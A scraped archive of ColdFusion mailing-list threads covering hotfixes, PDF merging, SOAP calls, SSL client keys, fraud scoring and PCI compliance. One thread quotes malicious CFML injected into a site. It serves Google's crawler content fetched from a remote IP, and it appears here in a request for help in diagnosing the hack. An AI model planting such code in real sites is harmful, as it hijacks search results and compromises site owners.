Re: Upgrading CF9 Hotfixes
Hi Richard, Are you renaming any existing jar files or removing them completely? I have run into issues when the old hotfix files are just renamed, you should remove them from the folder completely (i.e. the ones in the UPDATES folder). Ensure that you have them backed up in another location though incase you need to restore them. Best Regards, Donnie Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Thu, Feb 13, 2014 at 2:52 PM, Richard White rich...@re-base.net wrote: Hi, I am having a lot of problems trying to upgrade hot fixes. I currently have 9.01 installed. I have downloaded 9.01 hot fix as described here: http://helpx.adobe.com/coldfusion/kb/security-hotfix-coldfusion-8-8.html. However, after applying the changes the CF Admin stops working and just shows a blank page. I have followed the instructions diligently so wondered what else may be going wrong. I tried to apply the 9.02 update but again the CF admin stopped working and showed an error: 'Class not found: coldfusion.security.ESAPIUtils' I am lost as to what to try next and what the issue is. I think there were 4 hot fixes for 9.01? Do I need to load them one at a time in order, and then apply the 9.02 update? Thanks for any help or pointers, Richard ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:357674 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: generating and merging pdfs
Hi Tim, I tend not to use CF for anything like this. I've used ghostscript and pdftk to perform pdf merging with great success. See http://stackoverflow.com/questions/8158584/ghostscript-to-merge-pdfs-compresses-the-result for an example of usage commands for both ghostscript and pdftk ( http://www.pdflabs.com/tools/pdftk-server/). If you're on linux either will work but on Windows you'll have to go with pdftk. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Mon, Jan 6, 2014 at 7:28 PM, Tim Do t...@wng.com wrote: I'm using cfpdf to merge roughly 3000 pdfs ( 50kb each). These pdfs were generated using cfdocument which only takes a couple of minutes. The issue I'm having now is when merging these pdfs, its taking down the server. I'm getting: Unable to instantiate com.adobe.internal.pdftoolkit.pdf.page.PDFPageLabels object from CosObject. Looks like I get to around 1600 pdfs which is about 40mbs. Is there another method I should be using for this monthly and quarterly process? We're trying to mail of statements. Any input would be greatly appreciated. We're on cf9 here. Thanks, Tim ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:357410 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Call of a soap webservice passing headers
Have you tried the addSOAPRequestHeader function? Use this in conjunction with createObject to pass the username and password to the service. See http://livedocs.adobe.com/coldfusion/8/htmldocs/help.html?content=functions_a-b_03.html HTH. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Fri, Feb 22, 2013 at 9:13 PM, Stephane Vantroyen s...@ecode23.be wrote: Hello, usually I have no problem consuming webservices, but this time I don't understand what I do wrongly; before being able to call any method, I should login, passing username and password in the soap headers; and there comes the pain : I try to call it via createboject, cfinvoke or even with cfhttp like mentionned in this post ( http://blog.brijeshradhika.com/2011/04/consuming-webservice-using-coldfusion.html ), I can't make it work. The documentation of the webservice provides a php example (see below). Anyone of you guys being able to translate into Coldfusion code? Thanks in advance /* Create the UsernameToken class */ class UsernameToken { public $Username; public $Password; public function __construct($username, $password) { $this - Username = $username; $this - Password = $password; } } /* Initialise the SOAP client */ $client = new SoapClient('http://www.thesite.nl/api/thesite.wsdl', array( trace = 1 )); /* Send user authentication headers */ $ut = new UsernameToken('username', 'password'); $soapHeaders[] = new SoapHeader(' http://schemas.xmlsoap.org/ws/2002/07/utility/', 'UsernameToken', $ut); $client - __setSoapHeaders($soapHeaders); ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354660 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: SOT: IP Geolocation APIs
Hi Justin, If you have a budget available I would recommend http://www.maxmind.com/en/geolocation_landing. We use the downloadable database. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Tue, Feb 5, 2013 at 5:02 PM, Justin Scott leviat...@darktech.org wrote: What about using geolocation on the client itself? Roughly 82% of your audience will support it. The situation I'm working with is dealing with historical data. -Justin ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354311 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: AW: Severe memory issue
Hi Till, What version of CF are you on? I had some issues with memory in CF8 and outlined a few tips http://thinkinglemur.com/index.php/2010/02/memory-leaks-with-coldfusion-8/. If you are doing heap dumps, look for objects that hold huge amounts of memory, the blog posts has links to a couple of sites that talk about how to make sense of the heap dumps. If there are objects that make reference to session/application scoped variables/objects this can also be a cause of memory leaks and server crashes. HTH Donnie On Wed, Jan 30, 2013 at 10:39 AM, Helwig, Till Helge till.hel...@saxsys.dewrote: Hi, This doesn't look like any UUID I ever encountered before: 709565bc370.f5330048ffa80212 I will ask the DBA if there is any way of generating those things with a stored procedure, but I don't expect a positive answer, to be quite honest. Greetings, Till Helge ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354120 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Source control in CF
I agree with Cameron on this one. We recently moved from SVN to Git because we found that within our team it facilitated our workflow. We started implementing the practices outlined by Git Flow and that's been working really well. That doesn't mean that Git is better than SVN, it's just better in our case. One thing I do like is the fact that I can work on my local machine and then sync with the server when I'm connected at the office again. Best Regards, Donnie On Wed, Jan 30, 2013 at 2:23 PM, Cameron Childress camer...@gmail.comwrote: On Wed, Jan 30, 2013 at 4:42 AM, Adam Cameron wrote: Before you go too far down the SVN route... To me, Git vs SVN is sort of like a Mac vs PC argument. Git is good, SVN is good. They are both VERY VERY widely used and I expect both to be heavily used for the foreseeable future. Like most technology questions, there is not just one right answer. To the OP - read up on Git and SVN and pick whichever you like, but don't feel bad in the least about choosing either one as a solution. They are both perfectly fine choices. In fact, if you are struggling to understand getting SVN setup, I think that Git may be an even more painful option for you (but give it a whirl and form your own opinion). -Cameron -- Cameron Childress -- p: 678.637.5072 im: cameroncf facebook http://www.facebook.com/cameroncf | twitterhttp://twitter.com/cameronc | ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354132 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: SQL Express and CF
You'll need to purchase the developer edition for SSIS. It's not free but has full standard level features and is pretty affordable $50 US at NewEgg http://www.newegg.com/Product/Product.aspx?Item=N82E16832416455Tpk=sql%20server%20developer Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Fri, Nov 16, 2012 at 4:22 PM, Carl Von Stetten vonner.li...@vonner.netwrote: I spoke too soon. The installer with tools provides limited replication support and SSMS, but not SSIS. -Carl V. On 11/15/2012 4:30 PM, Carl Von Stetten wrote: Starting with SQL Server Express 2008 R2 (and maybe some prior versions), you can download an installer that includes the SSMS tools, which I think includes SSIS as well. -Carl V. On 11/15/2012 1:32 PM, Mike Kear wrote: the things cut out of the express version are the kinds of things we use coldfusion for anyway. I havent found any issues at all in connecting SQLexpress versions and Coldfusion. The only issues I've had are to do with things like the lack of SSIS which makes things like moving data to online more difficult that's all. Cheers Mike Kear Windsor, NSW, Australia Adobe Certified Advanced ColdFusion Developer AFP Webworks http://afpwebworks.com ColdFusion 9 Enterprise, PHP, ASP, ASP.NET hosting from AUD$15/month On Fri, Nov 16, 2012 at 6:32 AM, Pete Ruckelshaus pruckelsh...@gmail.comwrote: Works just like the full version, and it's what I use on my VPS. On Thu, Nov 15, 2012 at 5:23 AM, Kevin Parker tras...@internode.on.net wrote: Are there any issues using Express versions of SQL Server for development? Thank you ++ Kevin Parker M: 0418 815 527 ++ ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:353208 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Anybody seen this hack/exploit?
I've seen something like this on a shared server that was running osCommerce. The uploads directory had the wrong permissions set, the attacker uploaded a server admin script that could set permissions on other directories. They were then able to inject code into every index.php, index.html, index.cfm files it found. If you are on a shared environment I would look for this type of attack on the server. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Tue, Nov 13, 2012 at 9:56 PM, Yuliang Ruan yuliangr...@hotmail.comwrote: Recently a site of ours got hacked - basically, a Google search the site was returning viagra info! What we got was a small script added to the end of a functions.cfm file: cfset REQUEST.UserAgent = LCase( CGI.http_user_agent ) /cfif (Find( google, REQUEST.UserAgent )) cfhttp method=get url=http://168.16.228.250/fms/ cfoutput#cfhttp.filecontent#/cfoutput/cfif I'm not the server admin for this site, so they're sorta pointing the finger at us developers, and we're pointing fingers back at them about lax server security. We've got a boatload of stuff on this site to prevernt SQL injection, including Justin D. Scott's application script, carefully checking anything to goes into the database, client and server side form validation, blah, blah, blah... Anybody seen the above, and if so, thoughts? Anybody manage to determine how the exploit happened to start with? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:353149 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Invoking Java component that sends SSL Client Key in CF9 Ent
Hi All, I've run into an issue on CF9 Enterprise 64 bit on Windows (7/2003/2008) with using client authentication when invoking a java component. Background: We are attempting to implement 3D Secure (Verified By Visa) on the Barclay's EPDQ system using the Arcot SDK. We have this working using the COM api on windows 32 bit but our shiny new servers running Windows 2008 doesn't support COM. I've attempted to use .NET thinking that it should be a fairly straight swap between the COM and .NET systems but was I wrong. The Java SDK requires you to pass in 3 SSL files. A CA certificate, a client certificate and a client key file. The following code illustrates the call from ColdFusion to the SDK: var serverInfo = createObject(java, com.arcot.xfms.XFMS_Java_API$ServerInfo).init( VARIABLES.clientOptions.host, VARIABLES.clientOptions.port, VARIABLES.clientOptions.transport, 30, 5, 8, 4, VARIABLES.clientOptions.TrustedCACertFile, VARIABLES.clientOptions.ClientCertFile, VARIABLES.clientOptions.ClientKeyFile); This returns an error: Cannot get key bytes, not PKCS#8 encoded. If, however, I wrap this in a java class and execute from command line it works just fine. It just refuses to work when called from ColdFusion. Attempted Fixes: 1. I've imported the certificates into every keystore on the server! 2. Created a jks keystore that includes the CA, Client Certificate and Client Key file and passed that in 3. Created a wrapper class in java that then instantiates and calls the SDK - this again works from command line but not from CF 4. Updated the JRE to Java6 R35 and tested both the command line and CF versions, pure java works, CF doesn't 5. Enabled SSL between JRUN and Apache (in dev environment) and still nothing 6. Contacted Barclays and Arcot and the official position is they neither officially support 64 bit Windows (which is INSANE!) or ColdFusion and can't really offer much advice. They suggested that it could be a problem with access the SDK from Coldfusion but I've moved the SDK to the same directory as the web root and still nothing. Has anyone had any experience with this? Any thoughts, suggestions, criticisms? I can provide more code if necessary. Thanks very much. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352799 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Invoking Java component that sends SSL Client Key in CF9 Ent
Hi Paul, Thanks for this, it's odd we use Cardinal when we call Paypal Pro (we use them as a back up processor if Barclays ever goes down) and that works fine on 64 bit. What's even more odd is the fact that they all use Arcot at the core because Arcot developed the system. Best Regards Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Tue, Oct 2, 2012 at 11:29 AM, Paul Kukiel pkuk...@gmail.com wrote: Unsure if its an option be we use 3d secure with cardinal commerce who support ColdFusion and 64 bit. Paul On 02/10/2012, at 8:26 PM, Donnie Bachan (Gmail) donnie.bac...@gmail.com wrote: Hi All, I've run into an issue on CF9 Enterprise 64 bit on Windows (7/2003/2008) with using client authentication when invoking a java component. Background: We are attempting to implement 3D Secure (Verified By Visa) on the Barclay's EPDQ system using the Arcot SDK. We have this working using the COM api on windows 32 bit but our shiny new servers running Windows 2008 doesn't support COM. I've attempted to use .NET thinking that it should be a fairly straight swap between the COM and .NET systems but was I wrong. The Java SDK requires you to pass in 3 SSL files. A CA certificate, a client certificate and a client key file. The following code illustrates the call from ColdFusion to the SDK: var serverInfo = createObject(java, com.arcot.xfms.XFMS_Java_API$ServerInfo).init( VARIABLES.clientOptions.host, VARIABLES.clientOptions.port, VARIABLES.clientOptions.transport, 30, 5, 8, 4, VARIABLES.clientOptions.TrustedCACertFile, VARIABLES.clientOptions.ClientCertFile, VARIABLES.clientOptions.ClientKeyFile); This returns an error: Cannot get key bytes, not PKCS#8 encoded. If, however, I wrap this in a java class and execute from command line it works just fine. It just refuses to work when called from ColdFusion. Attempted Fixes: 1. I've imported the certificates into every keystore on the server! 2. Created a jks keystore that includes the CA, Client Certificate and Client Key file and passed that in 3. Created a wrapper class in java that then instantiates and calls the SDK - this again works from command line but not from CF 4. Updated the JRE to Java6 R35 and tested both the command line and CF versions, pure java works, CF doesn't 5. Enabled SSL between JRUN and Apache (in dev environment) and still nothing 6. Contacted Barclays and Arcot and the official position is they neither officially support 64 bit Windows (which is INSANE!) or ColdFusion and can't really offer much advice. They suggested that it could be a problem with access the SDK from Coldfusion but I've moved the SDK to the same directory as the web root and still nothing. Has anyone had any experience with this? Any thoughts, suggestions, criticisms? I can provide more code if necessary. Thanks very much. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352803 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Invoking Java component that sends SSL Client Key in CF9 Ent
Hi Paul, Thanks for this, it's odd we use Cardinal when we call Paypal Pro (we use them as a back up processor if Barclays ever goes down) and that works fine on 64 bit. What's even more odd is the fact that they all use Arcot at the core because Arcot developed the system. Best Regards On Tue, Oct 2, 2012 at 11:29 AM, Paul Kukiel pkuk...@gmail.com wrote: Unsure if its an option be we use 3d secure with cardinal commerce who support ColdFusion and 64 bit. Paul ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352805 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Invoking Java component that sends SSL Client Key in CF9 Ent
Thanks Dave, You just pass the location of the key file as a string so I'm just passing in C:\wamp\.\ClientKey.pem both in CF and Java class. I've tried using Wireshark as well to look at the packets being sent. From Java the request is fine, from CF the remote URL never gets called at all so it's not even getting to the bit where it makes the request. What I don't understand is why it's throwing the same error when I use a wrapper java class that then invokes the SDK. Even if I hard code the paths to the files in the java wrapper class and all CF does is call the wrapper class I get the same error. I'm thinking it may be some sort of permission issue why it can't read the key file but I can't figure out what to change. CF and Java and Apache all have full permissions on the directories. Donnie Bachan This returns an error: Cannot get key bytes, not PKCS#8 encoded. If, however, I wrap this in a java class and execute from command line it works just fine. It just refuses to work when called from ColdFusion. How are you providing the key file to the Java class from within CF? Are you just reading it via CFFILE? I suspect that's the problem, although I don't know what the solution would be exactly. When you execute the Java class from the command line, how are you providing the file in that case? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352810 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Invoking Java component that sends SSL Client Key in CF9 Ent
Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. Pete, Thanks very much. I think your note about RSA BSafe may be the issue since the symptoms seem to be pointing to something that CF can't handle. I can test this tomorrow. I'll post the stack trace when I'm back at work. Best Regards, Donnie On Tue, Oct 2, 2012 at 6:32 PM, Pete Freitag p...@foundeo.com wrote: My Guess is that this has something to do with the RSA BSafe crypto-j security provider that CF Enterprise ships with. This API was upgraded in CF10, so you could try that as an option. When you run Java from the command line, you are not using Crypto-J, when you run java within CF you are. Another thing to try would be CF Standard since CF standard uses the default Java security provider. You might also be able to have CF9 Ent run with the default security provider via some JVM options. Also can you post the full stack trace for the error you are getting in CF? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352814 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Invoking Java component that sends SSL Client Key in CF9 Ent
Thanks Russ, I've not played with JSP in years, will give it a shot. I'm willing to even try Pascal at this point! On Tue, Oct 2, 2012 at 8:37 PM, Russ Michaels r...@michaels.me.uk wrote: Dont forget that you are using jrun which also allows you to use jsp as well, perhaps you could try doing this from jsp and see if that works, which may save you some head banging as cfm and jsp can happily work together. Regards Russ Michaels On Oct 2, 2012 6:32 PM, Pete Freitag p...@foundeo.com wrote: My Guess is that this has something to do with the RSA BSafe crypto-j security provider that CF Enterprise ships with. This API was upgraded in CF10, so you could try that as an option. When you run Java from the command line, you are not using Crypto-J, when you run java within CF you are. Another thing to try would be CF Standard since CF standard uses the default Java security provider. You might also be able to have CF9 Ent run with the default security provider via some JVM options. Also can you post the full stack trace for the error you are getting in CF? -- Pete Freitag - Adobe Community Professional http://foundeo.com/ - ColdFusion Consulting Products http://petefreitag.com/ - My Blog http://hackmycf.com - Is your ColdFusion Server Secure? On Tue, Oct 2, 2012 at 11:01 AM, Donnie Bachan (Gmail) donnie.bac...@gmail.com wrote: Thanks Dave, You just pass the location of the key file as a string so I'm just passing in C:\wamp\.\ClientKey.pem both in CF and Java class. I've tried using Wireshark as well to look at the packets being sent. From Java the request is fine, from CF the remote URL never gets called at all so it's not even getting to the bit where it makes the request. What I don't understand is why it's throwing the same error when I use a wrapper java class that then invokes the SDK. Even if I hard code the paths to the files in the java wrapper class and all CF does is call the wrapper class I get the same error. I'm thinking it may be some sort of permission issue why it can't read the key file but I can't figure out what to change. CF and Java and Apache all have full permissions on the directories. Donnie Bachan This returns an error: Cannot get key bytes, not PKCS#8 encoded. If, however, I wrap this in a java class and execute from command line it works just fine. It just refuses to work when called from ColdFusion. How are you providing the key file to the Java class from within CF? Are you just reading it via CFFILE? I suspect that's the problem, although I don't know what the solution would be exactly. When you execute the Java class from the command line, how are you providing the file in that case? ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352815 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Invoking Java component that sends SSL Client Key in CF9 Ent
Pete and Dave, I owe both of you a beverage (or ten!) next time I'm in the US or you are in the UK! It was the BSafe library. I used the code from the forum post to disable the library and my requests worked. I will have to look into the compliance issue with disabling the library when making the calls but at least I know where the problem lies! Thanks again! Donnie On Tue, Oct 2, 2012 at 11:48 PM, Dave Watts dwa...@figleaf.com wrote: My Guess is that this has something to do with the RSA BSafe crypto-j security provider that CF Enterprise ships with. This API was upgraded in CF10, so you could try that as an option. When you run Java from the command line, you are not using Crypto-J, when you run java within CF you are. Another thing to try would be CF Standard since CF standard uses the default Java security provider. You might also be able to have CF9 Ent run with the default security provider via some JVM options. Also, you can temporarily disable BSafe, I think, as described by Jason Dean here: http://forums.adobe.com/message/3895416 ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352830 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: CF8 Instance hogs cpu
Hi Richard, I wrote a post a while back about memory leaks in CF8 Ent., although it is not specifically related to high CPU usage, some of the settings here may be of help. http://thinkinglemur.com/index.php/2010/02/memory-leaks-with-coldfusion-8/ The two things that helped the most (aside from refactoring code) was updating the JVM and using -XX:+AgressiveHeap. Is this only happening on 1 specific instance? What about the other instances on the server, are they fine? Do they interact with the instance that is having issues? HTH. Donnie ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352834 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: credit card fraud
We handle credit card (and UK direct debit) fraud by assigning a fraud score to every single credit card submission. We generate the score at the time of purchase but using MaxMind and checking if the billing address of the credit cad matches the IP country, checking if the billing is one of the high fraud countries and a few other historical items (delivery addresses etc). If the total fraud score crosses a threshold the orders are put into a holding table and are reviewed by someone to determine if the orders do look dodgy. If they are false positives then we allow them to be processed, if not we reject the order. We do pre-authorisations on the card so we never store the CC information during the review process. Someone mentioned using 3D Secure and that has help us out a lot in reducing spam. We've seen it all from Vietnam to Ghana and even a few originating in the US with US credit cards but with shipping addresses in the far east or africa. We also block certain known IPs/cards/countries and display a message that there was a problem with the order, please call us to complete the purchase. Legit customers call, fraudsters don't! Our system works pretty well and doesn't rely on systems that may prevent legit people from submitting forms, which to be honest prevents bot spamming but doesn't help much with credit card/payment fraud. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Thu, Aug 23, 2012 at 10:00 PM, Casey Dougall - Uber Website Solutions ca...@uberwebsitesolutions.com wrote: On Thu, Aug 23, 2012 at 4:54 PM, Byron Mann byronos...@gmail.com wrote: http://www.maxmind.com/app/ccfd_features this is a pretty good service and very affordable. You might be able to hit them up for a free account if you are a non profit. This is also built into Authorize.net as well. Its an option something like an extra 10 or 15 a month. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352304 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Modern (and free) html/cf editor that is similar to Homesite?
I know this option isn't free but you may want to contact them and see if you can work something out with them since it's for educational use. http://www.sublimetext.com/ This is probably the best editor I've ever used. It is very similar to Homesite in may respects but it just takes it to a thousand levels up! HTH. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Sun, Aug 19, 2012 at 5:46 PM, Larry Lyons larrycly...@gmail.com wrote: I teach web design and web programming at a public high school. I have been using homesite for my classes, but it doesn't play well in our environment (locked down C drive, network drives...trust me, it has issues). Are there any current text editors that play well with HTML, CSS, JavaScript, and CF, that are also free? It doesn't need to be a super heavy duty app like Eclipse, in fact, I tried that with my web design class and it was a nightmare because of its complexity. Platform is WinXP. Thanks for any suggestions, Pete NotePad ++ has a CFML plugin. Also if you install Eclipse with the Webtools plugin that will cover HTML/JS/CSS, and use CFEclipse to handle the CFML portion. hth, larry ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:352198 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Failed PCI Compliance test on CF9.01
Robert, This is odd that you are losing the session, are you using CF in multiserver mode or standalone? The article you referenced was for CF8, however, we're currently running CF9 Ent in multiserver mode and we've not had this issue crop up. We are however using a DB with client cookies for managing state across CF instances. Best Regards, Donnie Bachan Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. On Tue, Mar 6, 2012 at 2:17 PM, Che Vilnonis ch...@asitv.com wrote: Robert, a product like Fuseguard from Pete Freitag or a Web Application Firewall (or a plugin type of filter to your existing firewall) may help. I'm currently going through a similar process and thought these options might help. Ché -Original Message- From: Robert Rhodes [mailto:rrhode...@gmail.com] Sent: Tuesday, March 06, 2012 9:08 AM To: cf-talk Subject: Re: Failed PCI Compliance test on CF9.01 Justin, thanks for the reply, and I get your point, but I can't break out the registration process into a standalone site quickly. There must be a fairly quick solution to this problem. Surely, I can't be the first to deal with this. ~| Order the Adobe Coldfusion Anthology now! http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion Archive: http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:350255 Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm
Re: Failed PCI Compliance test on CF9.01
